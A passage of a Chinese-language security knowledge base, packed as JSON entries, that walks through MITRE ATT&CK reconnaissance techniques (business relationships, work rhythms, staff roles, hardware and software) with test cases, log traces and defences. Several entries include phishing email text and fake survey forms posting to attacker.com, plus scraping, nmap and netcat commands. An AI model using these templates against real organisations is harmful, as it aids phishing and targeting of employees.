访问公司官网的合作伙伴页面\ncurl https://example.com/partners\n```\n**输出示例**：\n```\nPage Content: \"Example Corp is a subsidiary of GlobalTech Inc. and works with SupplyChain Ltd. for hardware procurement.\"\nBusiness Relationship: Subsidiary - GlobalTech Inc., Supplier - SupplyChain Ltd.\n```\n**说明**：  \n- 公司官网可能公开母子公司或供应商信息。  \n- 关联 T1591.002：通过官网获取业务关系信息。\n\n#### 测试案例 3：钓鱼收集业务关系信息\n**关联技术**：T1591.002（业务关系信息收集）、T1566（钓鱼）  \n**说明**：  \n- 攻击者通过伪造的邮件或调查问卷，诱导员工泄露业务关系信息，如供应商、承包商或母子公司名称。  \n**示例操作**：\n- 发送伪造邮件：  \n  ```\n  Subject: 供应商合作调查\n  Body: 请提供您公司的主要供应商或合作伙伴名称：http://fake-survey.com\n  ```\n- 伪造调查页面（HTML 伪代码）：  \n  ```html\n  <form action=\"http://attacker.com/collect\" method=\"POST\">\n      供应商名称: <input type=\"text\" name=\"supplier\">\n      合作伙伴名称: <input type=\"text\" name=\"partner\">\n      <input type=\"submit\" value=\"提交\">\n  </form>\n  ```\n**输出示例**（攻击者服务器日志）：\n```\nPOST /collect HTTP/1.1\nsupplier=SupplyChain Ltd.&partner=CloudTech\n```\n**说明**：  \n- 钓鱼攻击可直接收集业务关系信息，为供应链攻击或信任关系利用提供基础。  \n- 关联 T1591.002：通过钓鱼获取业务关系信息。\n\n#### 测试案例 4：查询公开数据源收集业务关系信息\n**关联技术**：T1591.002（业务关系信息收集）  \n**说明**：  \n- 攻击者通过公开数据源（如 Crunchbase、ZoomInfo 或企查查）查询目标组织的母子公司、供应商或合作伙伴信息。  \n**示例操作**：\n```bash\n# 在 Crunchbase 查询公司信息\ncurl https://www.crunchbase.com/organization/example-corp\n```\n**输出示例**：\n```\nOrganization: example.com\nParent Company: GlobalTech Inc.\nPartners: CloudTech, SupplyChain Ltd.\n```\n**说明**：  \n- 公开数据源可能暴露母子公司或合作伙伴信息。  \n- 关联 T1591.002：通过公开数据源获取业务关系信息。\n\n## 测试复现\n\n### 外部场景（公开信息收集）\n1. **环境**：Kali Linux 或任何带有浏览器的系统。\n2. **步骤**：\n   - 搜索目标组织的社交媒体（如微博、LinkedIn），提取业务关系相关关键词（如“partner”、“supplier”）。\n   - 访问公司官网（如 `https://example.com/partners`），查找母子公司或供应商信息。\n   - 使用伪造邮件或调查问卷诱导员工泄露业务关系信息。\n   - 查询公开数据源（如 Crunchbase、企查查），提取公司关系信息。\n3. **预期结果**：返回业务关系信息（如 `Parent Company: GlobalTech Inc.`, `Supplier: SupplyChain Ltd.`）。\n\n## 测试留痕\n\n### 外部场景\n- **Web 服务器日志**（若爬取官网）：\n  ```\n  203.0.113.1 - - [26/May/2025:08:01:00 +0000] \"GET /partners HTTP/1.1\" 200 1234\n  ```\n- **邮件网关日志**（钓鱼场景）：\n  ```\n  Email from: support@fake.com, Subject: 供应商合作调查, URL: http://fake-survey.com\n  ```\n\n## 建议\n\n### 防御措施\n1. **减少公开信息暴露**：\n   - 避免在官网、社交媒体或新闻发布中泄露母子公司、供应商或合作伙伴的详细信息。\n   - 对业务关系信息进行模糊化处理（如避免提及具体供应商名称）。\n   - 配置 Web 服务器限制爬虫访问敏感页面（如使用 CAPTCHA 或限流）。\n2. **员工培训**：\n   - 教育员工识别钓鱼邮件，避免泄露业务关系信息。\n   - 指导员工在社交媒体（如微博、LinkedIn）限制与业务关系相关的细节分享。\n3. **主动 OSINT 评估**：\n   - 使用 Crunchbase、ZoomInfo 或企查查模拟攻击者行为，评估公开业务关系信息的暴露程度。\n   - 定期检查 Pastebin 或暗网，识别泄露的供应商或合作伙伴信息。\n4. **供应链安全管理**：\n   - 审查供应商和合作伙伴的信息披露政策，减少敏感信息泄露。\n   - 实施供应链安全审计，确保第三方组织的安全性。\n5. **网络安全配置**：\n   - 使用防火墙限制对公司官网敏感页面的外部访问。\n   - 部署 WAF（Web 应用防火墙）拦截异常爬虫行为。\n\n### 后续阶段监控\n- **钓鱼攻击（T1566）**：\n   - 关注利用业务关系信息的钓鱼邮件。\n- **供应链攻击（T1195）**：\n   - 关注异常的供应商或合作伙伴通信，结合业务关系信息。\n- **信任关系利用（T1199）**：\n   - 关注伪装成合作伙伴或母子公司的攻击行为。\n- **路过式下载（T1189）**：\n   - 关注利用业务关系发起的恶意链接或下载。\n\n### 外部情报监控\n- 订阅威胁情报服务，获取针对组织业务关系的社交工程或供应链攻击预警。\n- 监控暗网或 Pastebin，识别泄露的母子公司、供应商或合作伙伴信息。\n- 与行业合作伙伴共享威胁情报，了解类似组织的攻击模式。\n\n## 参考推荐\n- MITRE ATT&CK: T1591-002  \n  <https://attack.mitre.org/techniques/T1591/002/>\n"
  },
  {
    "path": "Windows/01侦察/T1591.003-收集目标组织信息-确定业务节奏.md",
    "content": "# T1591-003-收集受害者组织信息-确定业务节奏\n\n## 描述\n\n在入侵目标组织之前，攻击者可能通过多种外部方式收集目标组织业务节奏的信息（T1591.003）。这些信息可用于目标定位、了解组织运营模式或指导后续攻击活动（如供应链攻击 T1195、钓鱼攻击 T1566 或信任关系利用 T1199）。业务节奏信息通常包括每周工作时间/天数、硬件和软件资源的购买及运输时间/日期、员工上下班时间或办公场所的物理访问模式。由于这些活动通常在目标组织的监测范围之外（如通过公开数据源或社交工程）进行，防御者难以直接发现。\n\n攻击者收集业务节奏信息的动机包括：\n- **优化攻击时机**：通过了解工作时间或资源交付周期，选择最佳攻击窗口（如员工下班后的物理入侵）。\n- **精准社交工程**：利用业务节奏信息（如上下班时间）定制钓鱼邮件或物理尾随策略。\n- **供应链攻击**：识别硬件/软件采购周期，寻找供应链中的可利用弱点。\n\n## 测试案例\n\n以下测试案例展示了攻击者可能使用的外部业务节奏信息收集方法，聚焦于公开数据源和社交工程，特别包括观察员工上下班时间、车辆进入情况等信息，为后续物理入侵或社交工程提供帮助。\n\n#### 测试案例 1：通过社交媒体收集业务节奏信息\n**关联技术**：T1591.003（业务节奏信息收集）  \n**说明**：  \n- 攻击者通过 LinkedIn、Twitter 或公司官网的社交媒体账号，收集员工分享的工作时间、办公模式或资源交付信息。  \n**示例操作**（Python 伪代码）：\n```python\nimport requests\nfrom bs4 import BeautifulSoup\nurl = \"https://www.linkedin.com/company/example-org/posts/\"\nresponse = requests.get(url)\nsoup = BeautifulSoup(response.text, 'html.parser')\n# 提取业务节奏相关信息\nrhythm_info = [post.text for post in soup.find_all(text=lambda t: \"work hours\" in t.lower() or \"delivery\" in t.lower() or \"shift\" in t.lower())]\nprint(rhythm_info)\n```\n**输出示例**：\n```\nPost: \"Our team works 9 AM to 5 PM, with new server deliveries every Monday.\"\nBusiness Rhythm: 9 AM to 5 PM work hours, server deliveries on Mondays\n```\n**说明**：  \n- 员工或公司可能在社交媒体分享工作时间或资源交付信息。  \n- 关联 T1591.003：通过社交媒体获取业务节奏信息。\n\n#### 测试案例 2：通过公司官网收集业务节奏信息\n**关联技术**：T1591.003（业务节奏信息收集）  \n**说明**：  \n- 攻击者通过公司官网的“关于我们”或“新闻”页面，提取业务节奏信息，如办公时间、采购周期或物流安排。  \n**示例操作**：\n```bash\n# 访问公司官网的新闻页面\ncurl https://example.com/news\n```\n**输出示例**：\n```\nPage Content: \"Our office operates from 8 AM to 6 PM, with weekly hardware shipments arriving on Fridays.\"\nBusiness Rhythm: 8 AM to 6 PM work hours, hardware shipments on Fridays\n```\n**说明**：  \n- 公司官网可能公开运营时间或供应链信息。  \n- 关联 T1591.003：通过官网获取业务节奏信息。\n\n#### 测试案例 3：钓鱼收集业务节奏信息\n**关联技术**：T1591.003（业务节奏信息收集）、T1566（钓鱼）  \n**说明**：  \n- 攻击者通过伪造的邮件或调查问卷，诱导员工泄露工作时间、车辆进入情况或资源交付信息。  \n**示例操作**：\n- 发送伪造邮件：  \n  ```\n  Subject: 员工工作时间调查\n  Body: 请提供您的工作时间、办公室地址及硬件交付频率：http://fake-survey.com\n  ```\n- 伪造调查页面（HTML 伪代码）：  \n  ```html\n  <form action=\"http://attacker.com/collect\" method=\"POST\">\n      工作时间: <input type=\"text\" name=\"work_hours\">\n      办公室地址: <input type=\"text\" name=\"office_address\">\n      硬件交付频率: <input type=\"text\" name=\"delivery_frequency\">\n      <input type=\"submit\" value=\"提交\">\n  </form>\n  ```\n**输出示例**（攻击者服务器日志）：\n```\nPOST /collect HTTP/1.1\nwork_hours=9 AM to 5 PM&office_address=123 Tech Street&delivery_frequency=Weekly on Mondays\n```\n**说明**：  \n- 钓鱼攻击可直接收集业务节奏信息，为物理入侵或精准社交工程提供基础。  \n- 关联 T1591.003：通过钓鱼获取业务节奏信息。\n\n#### 测试案例 4：通过公开数据源观察上下班时间\n**关联技术**：T1591.003（业务节奏信息收集）  \n**说明**：  \n- 攻击者通过公开摄像头、社交媒体或在线地图（如 Google Maps 街景）观察目标组织的上下班时间或车辆进入情况。  \n**示例操作**：\n- 搜索目标组织的办公地点街景，分析员工上下班时间或车辆进入模式。\n- 示例 Google Maps 街景观察：  \n  ```\n  Location: 123 Tech Street, observed employee vehicles entering at 8:30 AM and leaving at 5:30 PM.\n  ```\n**输出示例**：\n```\nLocation: 123 Tech Street\nBusiness Rhythm: Employees enter at 8:30 AM, leave at 5:30 PM\n```\n**说明**：  \n- 公开摄像头或街景数据可暴露员工上下班时间，为物理入侵提供情报。  \n- 关联 T1591.003：通过公开数据源获取业务节奏信息。\n\n## 测试复现\n\n### 外部场景（公开信息收集）\n1. **环境**：Kali Linux 或任何带有浏览器的系统。\n2. **步骤**：\n   - 搜索目标组织的社交媒体（如 LinkedIn、Twitter）或官网，提取业务节奏相关关键词（如“work hours”、“delivery”）。\n   - 访问 Google Maps 街景，观察办公地点员工上下班时间或车辆进入情况。\n   - 使用伪造邮件或调查问卷诱导员工泄露工作时间或交付信息。\n3. **预期结果**：返回业务节奏信息（如 `9 AM to 5 PM work hours`, `Weekly hardware deliveries on Mondays`）。\n\n## 测试留痕\n\n### 外部场景\n- **Web 服务器日志**（若爬取官网）：\n  ```\n  203.0.113.1 - - [26/May/2025:08:01:00 +0000] \"GET /news HTTP/1.1\" 200 1234\n  ```\n- **邮件网关日志**（钓鱼场景）：\n  ```\n  Email from: support@fake.com, Subject: 员工工作时间调查, URL: http://fake-survey.com\n  ```\n\n## 建议\n\n### 防御措施\n1. **减少公开信息暴露**：\n   - 避免在官网、社交媒体或新闻发布中泄露工作时间、采购周期或物流安排。\n   - 对公开信息进行模糊化处理（如避免提及具体工作时间或交付日期）。\n   - 配置 Web 服务器限制爬虫访问敏感页面（如使用 CAPTCHA 或限流）。\n2. **员工培训**：\n   - 教育员工识别钓鱼邮件，避免泄露工作时间或办公地点信息。\n   - 指导员工在社交媒体限制与业务节奏相关的细节分享（如避免提及上下班时间）。\n3. **主动 OSINT 评估**：\n   - 使用 Google Maps、LinkedIn 或 Twitter 模拟攻击者行为，评估公开业务节奏信息的暴露程度。\n   - 定期检查 Pastebin 或暗网，识别泄露的工作时间或交付信息。\n4. **物理安全管理**：\n   - 限制办公地点的公开摄像头暴露（如调整摄像头角度或禁用公共访问）。\n   - 实施物理访问控制，防止尾随或未经授权的车辆进入。\n5. **网络安全配置**：\n   - 使用防火墙限制对公司官网敏感页面的外部访问。\n   - 部署 WAF（Web 应用防火墙）拦截异常爬虫行为。\n\n### 后续阶段监控\n- **钓鱼攻击（T1566）**：\n   - 关注利用业务节奏信息的钓鱼邮件。\n- **供应链攻击（T1195）**：\n   - 关注异常的硬件或软件供应链请求，结合采购周期信息。\n- **信任关系利用（T1199）**：\n   - 关注基于业务节奏的信任关系攻击，如伪装供应商。\n\n### 外部情报监控\n- 订阅威胁情报服务，获取针对组织业务节奏的社交工程或物理入侵预警。\n- 监控暗网或 Pastebin，识别泄露的工作时间、交付周期或办公地点信息。\n- 与行业合作伙伴共享威胁情报，了解类似组织的攻击模式。\n\n## 参考推荐\n- MITRE ATT&CK: T1591-003  \n  <https://attack.mitre.org/techniques/T1591/003/>\n"
  },
  {
    "path": "Windows/01侦察/T1591.004-收集目标组织信息-确定角色.md",
    "content": "# T1591-004-收集目标组织信息-确定角色\n\n## 描述\n\n在入侵目标组织之前，攻击者可能通过多种外部方式收集目标组织内的身份和角色信息（T1591.004）。这些信息可用于目标定位、了解关键人员的职责或指导后续攻击活动（如钓鱼攻击 T1566、建立帐户 T1133 或入侵帐户 T1078）。角色信息通常包括关键人员的身份（如姓名、职位）、职责范围以及他们可以访问的数据或资源。由于这些活动通常在目标组织的监测范围之外（如通过公开数据源或社交工程）进行，防御者难以直接发现。\n\n攻击者收集角色信息的动机包括：\n- **精准社交工程**：通过识别运维人员、网络管理员或高管，实施针对性的钓鱼或账号爆破攻击。\n- **资源访问推测**：了解角色职责，推断其访问权限，为后续攻击（如凭据窃取）提供情报。\n- **初始访问**：利用角色信息发送定制化的钓鱼邮件，诱导目标泄露凭据或点击恶意链接。\n\n## 测试案例\n\n以下测试案例展示了攻击者可能使用的外部角色信息收集方法，聚焦于公开数据源和社交工程，特别包括运维人员和网络管理员的信息收集，以支持精准社交工程、账号密码爆破或钓鱼攻击。\n\n#### 测试案例 1：通过职位发布收集角色信息\n**关联技术**：T1591.004（角色信息收集）  \n**说明**：  \n- 攻击者通过招聘网站（如智联招聘、LinkedIn）或公司官网的职位描述，提取关键角色信息，如运维工程师或网络管理员的姓名、职责或联系方式。  \n**示例操作**：\n- 搜索目标组织的职位发布，关键词包括“运维”、“网络管理员”、“IT 经理”或“系统工程师”。\n- 示例职位描述：  \n  ```\n  招聘运维工程师，负责管理 AWS 云基础设施，联系人：张伟 (wei.zhang@example.com)。\n  ```\n**输出示例**：\n```\nOrganization: example.com\nRole: 运维工程师\nName: 张伟\nEmail: wei.zhang@example.com\nResponsibilities: AWS 云基础设施管理\n```\n**说明**：  \n- 职位发布可能泄露关键角色的姓名、联系方式或职责。  \n- 关联 T1591.004：通过公开招聘信息收集角色数据。\n\n#### 测试案例 2：社交媒体爬取角色信息\n**关联技术**：T1591.004（角色信息收集）  \n**说明**：  \n- 攻击者通过 LinkedIn、Twitter 或技术论坛（如 CSDN、Reddit）收集员工分享的角色信息，如运维或网络管理员的职位和职责。  \n**示例操作**（Python 伪代码）：\n```python\nimport requests\nfrom bs4 import BeautifulSoup\nurl = \"https://www.linkedin.com/company/example-org/posts/\"\nresponse = requests.get(url)\nsoup = BeautifulSoup(response.text, 'html.parser')\n# 提取角色相关信息\nrole_info = [post.text for post in soup.find_all(text=lambda t: \"admin\" in t.lower() or \"operations\" in t.lower())]\nprint(role_info)\n```\n**输出示例**：\n```\nPost: \"Our network admin, Li Mei, upgraded our Cisco switches last week.\"\nRole: Network Administrator\nName: Li Mei\nResponsibilities: Cisco switch management\n```\n**说明**：  \n- 员工可能在社交媒体分享角色或职责信息。  \n- 关联 T1591.004：通过社交媒体获取角色信息。\n\n#### 测试案例 3：钓鱼收集角色信息\n**关联技术**：T1591.004（角色信息收集）、T1566（钓鱼）  \n**说明**：  \n- 攻击者通过伪造的邮件或调查问卷，诱导员工泄露角色信息，如职位、职责或联系方式。  \n**示例操作**：\n- 发送伪造邮件：  \n  ```\n  Subject: IT 部门问卷调查\n  Body: 请提供您的职位、姓名和主要职责以协助技术支持：http://fake-survey.com\n  ```\n- 伪造调查页面（HTML 伪代码）：  \n  ```html\n  <form action=\"http://attacker.com/collect\" method=\"POST\">\n      职位: <input type=\"text\" name=\"role\">\n      姓名: <input type=\"text\" name=\"name\">\n      职责: <input type=\"text\" name=\"responsibilities\">\n      <input type=\"submit\" value=\"提交\">\n  </form>\n  ```\n**输出示例**（攻击者服务器日志）：\n```\nPOST /collect HTTP/1.1\nrole=Network Administrator&name=Li Mei&responsibilities=Manage Cisco switches\n```\n**说明**：  \n- 钓鱼攻击可直接收集角色信息，为精准社交工程或账号爆破提供基础。  \n- 关联 T1591.004：通过钓鱼获取角色信息。\n\n#### 测试案例 4：查询公开技术数据库或公司官网\n**关联技术**：T1591.004（角色信息收集）  \n**说明**：  \n- 攻击者通过公司官网、社交媒体或公开数据库（如 Crunchbase、ZoomInfo）查询目标组织的员工角色信息。  \n**示例操作**：\n```bash\n# 访问公司官网的“关于我们”页面\ncurl https://example.com/about\n# 或在 LinkedIn 查询公司员工\n```\n**输出示例**：\n```\nOrganization: example.com\nRole: IT Manager\nName: Wang Tao\nEmail: tao.wang@example.com\n```\n**说明**：  \n- 公司官网或公开数据库可能暴露员工的姓名、职位或联系方式。  \n- 关联 T1591.004：通过公开数据源获取角色信息。\n\n## 测试复现\n\n### 外部场景（公开信息收集）\n1. **环境**：Kali Linux 或任何带有浏览器的系统。\n2. **步骤**：\n   - 搜索目标组织的职位发布或社交媒体，提取角色相关关键词（如“运维”、“网络管理员”）。\n   - 访问公司官网（如 `https://example.com/about`）或 LinkedIn，查找员工信息。\n   - 使用伪造邮件或调查问卷诱导员工泄露角色信息。\n3. **预期结果**：返回关键角色的姓名、职位或职责信息（如 `Network Administrator, Li Mei, Manage Cisco switches`）。\n\n## 测试留痕\n\n### 外部场景\n- **Web 服务器日志**（若爬取官网）：\n  ```\n  203.0.113.1 - - [26/May/2025:08:01:00 +0000] \"GET /about HTTP/1.1\" 200 1234\n  ```\n- **邮件网关日志**（钓鱼场景）：\n  ```\n  Email from: support@fake.com, Subject: IT 部门问卷调查, URL: http://fake-survey.com\n  ```\n\n## 建议\n\n### 防御措施\n1. **减少公开信息暴露**：\n   - 避免在官网、职位发布或社交媒体泄露关键人员的姓名、职位或职责信息。\n   - 对员工信息进行模糊化处理（如在官网使用通用联系邮箱而非个人邮箱）。\n   - 配置 Web 服务器限制爬虫访问敏感页面（如使用 CAPTCHA 或限流）。\n2. **员工培训**：\n   - 教育员工识别钓鱼邮件，避免泄露角色或职责信息。\n   - 指导员工在社交媒体限制工作相关细节的分享（如避免提及职位或职责）。\n3. **主动 OSINT 评估**：\n   - 使用 LinkedIn、Crunchbase 或 ZoomInfo 模拟攻击者行为，评估公开角色信息的暴露程度。\n   - 定期检查 Pastebin 或暗网，识别泄露的员工信息。\n4. **网络安全配置**：\n   - 使用防火墙限制对公司官网敏感页面的外部访问。\n   - 部署 WAF（Web 应用防火墙）拦截异常爬虫行为。\n5. **组织信息管理**：\n   - 限制员工在公开场合（如技术论坛）分享角色或职责信息。\n   - 建立信息发布审查机制，确保职位描述不泄露敏感细节。\n\n### 后续阶段监控\n- **钓鱼攻击（T1566）**：\n   - 关注利用角色信息的钓鱼邮件。\n- **账号入侵（T1078）**：\n   - 关注针对关键角色（如运维、网络管理员）的账号爆破或凭据窃取。\n- **建立帐户（T1133）**：\n   - 关注异常的外部帐户创建或访问尝试。\n\n### 外部情报监控\n- 订阅威胁情报服务，获取针对组织关键角色的社交工程或钓鱼攻击预警。\n- 监控暗网或 Pastebin，识别泄露的员工姓名、职位或职责信息。\n- 与行业合作伙伴共享威胁情报，了解类似组织的攻击模式。\n\n## 参考推荐\n- MITRE ATT&CK:T1591-004  \n  <https://attack.mitre.org/techniques/T1591/004/>\n"
  },
  {
    "path": "Windows/01侦察/T1592.001-收集目标组织主机信息-硬件信息.md",
    "content": "# T1592-001-收集目标组织主机信息-硬件信息\n\n## 描述\n\n在入侵目标组织之前，攻击者可能通过多种外部方式收集目标组织主机硬件的信息（T1592.001）。这些信息可用于目标定位、了解主机配置或指导后续攻击活动（如供应链攻击 T1195、漏洞利用 T1190 或硬件添加 T1200）。硬件信息通常包括主机上硬件的类型、型号、版本，以及是否存在可能指示附加防御措施的组件（如智能卡、生物识别器、专用加密硬件等）。由于这些活动通常在目标组织的视野之外（如通过公开数据源或社交工程）进行，防御者难以直接发现。\n\n攻击者收集硬件信息的动机包括：\n- **推测主机配置**：通过硬件型号或版本推断系统用途、操作系统或安全状态，为漏洞利用提供情报。\n- **定制攻击向量**：利用硬件信息开发针对特定设备的恶意代码或供应链攻击。\n- **供应链攻击**：识别供应链中使用的硬件型号，寻找可利用的弱点。\n\n## 测试案例\n\n以下测试案例展示了攻击者可能使用的外部硬件信息收集方法，聚焦于公开数据源、社交工程和主动扫描，特别包括摄像头型号和其他物联网设备信息。\n\n#### 测试案例 1：通过职位发布收集硬件信息\n**关联技术**：T1592.001（硬件信息收集）  \n**说明**：  \n- 攻击者通过招聘网站（如智联招聘、LinkedIn）或公司官网的职位描述，提取与硬件相关的信息，如服务器型号、摄像头型号或物联网设备。  \n**示例操作**：\n- 搜索目标组织的职位发布，关键词包括“硬件”、“服务器”、“摄像头”或“物联网”。\n- 示例职位描述：  \n  ```\n  招聘物联网工程师，需熟悉 Hikvision DS-2CD2143G0-I 摄像头和 Dell PowerEdge R740 服务器。\n  ```\n**输出示例**：\n```\nOrganization: example.com\nHardware: Hikvision DS-2CD2143G0-I Camera, Dell PowerEdge R740 Server\n```\n**说明**：  \n- 职位发布可能泄露硬件型号或物联网设备信息。  \n- 关联 T1592.001：通过公开招聘信息收集硬件数据。\n\n#### 测试案例 2：社交媒体爬取硬件信息\n**关联技术**：T1592.001（硬件信息收集）  \n**说明**：  \n- 攻击者通过 LinkedIn、Twitter 或技术论坛（如 Reddit、CSDN）收集员工分享的硬件相关信息，如摄像头或服务器型号。  \n**示例操作**（Python 伪代码）：\n```python\nimport requests\nfrom bs4 import BeautifulSoup\nurl = \"https://www.linkedin.com/company/example-org/posts/\"\nresponse = requests.get(url)\nsoup = BeautifulSoup(response.text, 'html.parser')\n# 提取硬件相关信息\nhardware_info = [post.text for post in soup.find_all(text=lambda t: \"hardware\" in t.lower() or \"camera\" in t.lower() or \"server\" in t.lower())]\nprint(hardware_info)\n```\n**输出示例**：\n```\nPost: \"Deployed new Hikvision DS-2CD2143G0-I cameras for office security.\"\nHardware: Hikvision DS-2CD2143G0-I Camera\n```\n**说明**：  \n- 员工可能在社交媒体分享硬件部署或配置信息。  \n- 关联 T1592.001：通过社交媒体获取硬件信息。\n\n#### 测试案例 3：钓鱼收集硬件信息\n**关联技术**：T1592.001（硬件信息收集）、T1566（钓鱼）  \n**说明**：  \n- 攻击者通过伪造的邮件或调查问卷，诱导员工泄露硬件型号或物联网设备信息。  \n**示例操作**：\n- 发送伪造邮件：  \n  ```\n  Subject: 设备支持调查\n  Body: 请提供您当前使用的摄像头型号、服务器型号或其他物联网设备信息：http://fake-survey.com\n  ```\n- 伪造调查页面（HTML 伪代码）：  \n  ```html\n  <form action=\"http://attacker.com/collect\" method=\"POST\">\n      摄像头型号: <input type=\"text\" name=\"camera\">\n      服务器型号: <input type=\"text\" name=\"server\">\n      <input type=\"submit\" value=\"提交\">\n  </form>\n  ```\n**输出示例**（攻击者服务器日志）：\n```\nPOST /collect HTTP/1.1\ncamera=Hikvision DS-2CD2143G0-I&server=Dell PowerEdge R740\n```\n**说明**：  \n- 钓鱼攻击可直接收集硬件信息。  \n- 关联 T1592.001：通过钓鱼获取硬件信息。\n\n#### 测试案例 4：查询公开技术数据库\n**关联技术**：T1592.001（硬件信息收集）  \n**说明**：  \n- 攻击者通过公开技术数据库（如 Shodan、Censys）或供应商网站查询目标组织的硬件信息，如摄像头或物联网设备型号。  \n**示例操作**：\n```bash\n# 在 Shodan 查询目标 IP 的硬件信息\nshodan host 192.168.1.10\n# 或访问供应商网站（如 Hikvision、Dell）搜索设备信息\n```\n**输出示例**：\n```\nIP: 192.168.1.10\nDevice: Hikvision DS-2CD2143G0-I Camera\n```\n**说明**：  \n- 公开数据库或供应商网站可能暴露硬件型号。  \n- 关联 T1592.001：通过技术数据库获取硬件信息。\n\n#### 测试案例 5：通过主动扫描识别硬件信息\n**关联技术**：T1592.001（硬件信息收集）、T1046（网络服务扫描）  \n**说明**：  \n- 攻击者通过端口扫描或 Banner 抓取识别目标主机上运行的物联网设备或硬件信息。  \n**示例操作**：\n```bash\n# 使用 Nmap 扫描目标主机\nnmap -sV -p 80,554,37777 192.168.1.10\n# 或使用 netcat 抓取 Banner\nnc 192.168.1.10 80\nHEAD / HTTP/1.0\n```\n**输出示例**：\n```\nNmap scan report for 192.168.1.10\nPort 554/tcp open  rtsp    Hikvision DS-2CD2143G0-I\nPort 37777/tcp open  dahua-dvr  Dahua DVR\n```\n**说明**：  \n- `nmap -sV` 可识别物联网设备（如摄像头、DVR）的型号，Banner 抓取可暴露硬件信息。  \n- 关联 T1592.001：通过主动扫描收集硬件信息。\n\n## 测试复现\n\n### 外部场景（公开信息收集）\n1. **环境**：Kali Linux 或任何带有浏览器的系统。\n2. **步骤**：\n   - 使用 Shodan 查询目标 IP：`shodan host 192.168.1.10`。\n   - 搜索目标组织的职位发布或社交媒体，提取硬件相关关键词（如“摄像头”、“服务器”）。\n   - 访问供应商网站（如 Hikvision、Dell）查看设备信息。\n   - 使用 Nmap 扫描：`nmap -sV -p 80,554,37777 192.168.1.10`。\n3. **预期结果**：返回硬件型号或物联网设备信息（如 `Hikvision DS-2CD2143G0-I Camera`, `Dell PowerEdge R740`）。\n\n## 测试留痕\n\n### 外部场景\n- **Web 服务器日志**（若爬取官网）：\n  ```\n  203.0.113.1 - - [26/May/2025:08:01:00 +0000] \"GET /careers HTTP/1.1\" 200 1234\n  ```\n- **邮件网关日志**（钓鱼场景）：\n  ```\n  Email from: support@fake.com, Subject: 设备支持调查, URL: http://fake-survey.com\n  ```\n- **网络流量日志**（外部查询或扫描场景）：\n  ```\n  HTTP GET censys.io/api/v2/hosts/192.168.1.10\n  TCP 554, Source: 203.0.113.1, Request: HEAD / HTTP/1.0\n  ```\n\n## 建议\n\n### 防御措施\n1. **减少公开信息暴露**：\n   - 避免在官网、职位发布或社交媒体泄露硬件型号或物联网设备信息。\n   - 对技术文档或职位描述进行模糊化处理（如避免提及具体硬件型号）。\n   - 配置 Web 服务器限制爬虫访问敏感页面（如使用 CAPTCHA 或限流）。\n2. **硬件安全管理**：\n   - 定期更新硬件固件，修复已知漏洞。\n   - 对物联网设备（如摄像头）启用安全配置（如禁用默认端口、更改默认密码）。\n3. **员工培训**：\n   - 教育员工识别钓鱼邮件，避免泄露硬件或物联网设备信息。\n   - 指导员工在社交媒体限制技术细节的分享（如避免提及摄像头或服务器型号）。\n4. **主动 OSINT 评估**：\n   - 使用 Shodan 或 Censys 模拟攻击者行为，评估公开硬件信息的暴露程度。\n   - 定期检查 Pastebin 或暗网，识别泄露的硬件信息。\n5. **网络安全配置**：\n   - 使用防火墙限制对敏感端口（如 554、37777）的外部访问。\n   - 部署 WAF（Web 应用防火墙）拦截异常爬虫或扫描行为。\n\n### 后续阶段监控\n- **钓鱼攻击（T1566）**：\n   - 关注利用硬件信息的钓鱼邮件。\n- **漏洞利用（T1190）**：\n   - 关注针对硬件或物联网设备漏洞的攻击，如异常的设备访问请求。\n- **供应链攻击（T1195）**：\n   - 关注异常的硬件供应链请求，如伪造的供应商通信。\n- **硬件添加（T1200）**：\n   - 关注异常的硬件部署或配置更改。\n\n### 外部情报监控\n- 订阅威胁情报服务，获取针对组织硬件或物联网设备的扫描或漏洞利用预警。\n- 监控暗网或 Pastebin，识别泄露的硬件型号或配置。\n- 与行业合作伙伴共享威胁情报，了解类似组织的攻击模式。\n\n## 参考推荐\n- MITRE ATT&CK: T1592-001  \n  <https://attack.mitre.org/techniques/T1592/001/>\n"
  },
  {
    "path": "Windows/01侦察/T1592.002-收集目标组织主机信息-软件信息.md",
    "content": "# T1592-002-收集目标组织主机信息-软件信息\n\n## 描述\n\n在入侵目标组织之前，攻击者可能通过多种外部方式收集目标组织主机软件的信息（T1592.002）。这些信息可用于目标定位、了解系统配置或指导后续攻击活动（如漏洞利用 T1190、供应链攻击 T1195 或外部远程服务攻击 T1133）。软件信息通常包括主机上运行的软件类型、版本、补丁级别以及是否存在防御软件（如防病毒、SIEM、防火墙）。这些信息可能通过主动扫描、钓鱼或公开数据源暴露。由于这些活动通常在目标组织的视野之外（如攻击者的设备或公开数据源）进行，防御者难以直接发现。\n\n攻击者收集软件信息的动机包括：\n- **漏洞利用**：通过识别软件版本，查找已知漏洞（如 CVE）以制定攻击策略。\n- **绕过防御**：了解防病毒软件或 SIEM 的存在，开发规避技术（如免杀恶意软件）。\n- **供应链攻击**：识别目标组织使用的第三方软件，寻找供应链弱点。\n\n## 测试案例\n\n以下测试案例展示了攻击者可能使用的外部软件信息收集方法，聚焦于公开数据源和主动扫描。\n\n#### 测试案例 1：通过主动扫描识别软件信息\n**关联技术**：T1592.002（软件信息收集）、T1046（网络服务扫描）  \n**说明**：  \n- 攻击者通过端口扫描或 Banner 抓取识别目标主机上运行的软件及其版本。  \n**示例操作**：\n```bash\n:: 使用 Nmap 扫描目标主机\nnmap -sV -p 80,443 192.168.1.10\n:: 或使用 netcat 抓取 Banner\nnc 192.168.1.10 80\nHEAD / HTTP/1.0\n```\n**输出示例**：\n```\nNmap scan report for 192.168.1.10\nPort 80/tcp open  http    Apache/2.4.41 (Ubuntu)\nPort 443/tcp open  https   Apache/2.4.41 (Ubuntu)\n```\n**说明**：  \n- `nmap -sV` 可识别服务版本，Banner 抓取可暴露 Web 服务器或应用信息。  \n- 关联 T1592.002：通过主动扫描收集软件信息。\n\n#### 测试案例 2：使用在线指纹识别工具\n**关联技术**：T1592.002（软件信息收集）  \n**说明**：  \n- 攻击者通过在线指纹识别网站（如 TSscan、云悉指纹）分析目标网站的软件栈。  \n**示例操作**：\n- 访问 <https://scan.top15.cn/web/> 或 <http://www.yunsee.cn/finger.html>。\n- 输入目标 URL：`http://example.com`。\n**输出示例**：\n```\nURL: example.com\nWeb Server: Nginx/1.14.0\nCMS: WordPress 5.9.2\nFramework: PHP/7.4.3\n```\n**说明**：  \n- 在线工具通过 HTTP 头、页面特征等识别软件信息。  \n- 关联 T1592.002：通过在线工具收集软件信息。\n\n#### 测试案例 